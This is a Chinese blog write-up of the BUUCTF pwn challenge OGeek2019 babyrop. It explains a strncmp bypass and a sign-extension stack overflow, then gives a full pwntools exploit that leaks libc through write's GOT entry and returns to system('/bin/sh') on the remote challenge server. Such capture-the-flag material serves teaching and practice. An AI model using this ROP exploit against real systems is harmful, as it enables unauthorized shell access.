buuctf --pwn part2

pwn难啊!

 

1、[OGeek2019]babyrop

先check一下文件,开启了NX

 

 在ida中没有找到system、‘/bin/sh’等相关的字符,或许需要ROP绕过(废话,题目提示了)

查看到804871F函数中有个ctrncmp函数,输入的buf与一个随机数进行比较。可以通过输入开头的字符为‘\x00’进行绕过,使strlen长度为0,则strncmp判定必定成功。

之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时,则在read时a1会进行符号填充,那么我们就可以读入4294967295(-1)个字节,这将直接导致栈溢出,之后就行常规的ROP。

 

 

#!/usr/bin/python2
#coding=utf-8
from pwn import *

context.log_level = 'debug'

execve_file = './pwn'
#p = process(execve_file)
p = remote('node3.buuoj.cn',28790)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

bin_sh_off = libc.search('/bin/sh').next()
system_off = libc.sym['system']

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825

payload = '\x00'+'\xff'*7
p.sendline(payload)
p.recvuntil('Correct\n')

payload = 'a'*0xe7 + 'aaaa' + p32(write_plt) + p32(main) +p32(1) + p32(write_got)
p.sendline(payload)

write_addr = u32(p.recv()[0:4])
libcbase = write_addr - libc.sym['write']
log.success('libcbase =>'+hex(libcbase))

system_addr = libcbase + system_off
bin_sh_addr = libcbase +bin_sh_off

payload = '\x00'+'\xff'*7
p.sendline(payload)
p.recvuntil('Correct\n')

payload = 'a'*0xe7 + 'aaaa' + p32(system_addr) + p32(libcbase + libc.sym['exit']) + p32(bin_sh_addr)
p.sendline(payload)

p.interactive()
exp

 

 

待续。。。。

 

posted @ 2019-12-09 21:35  一点涵  阅读(399)  评论(0编辑  收藏  举报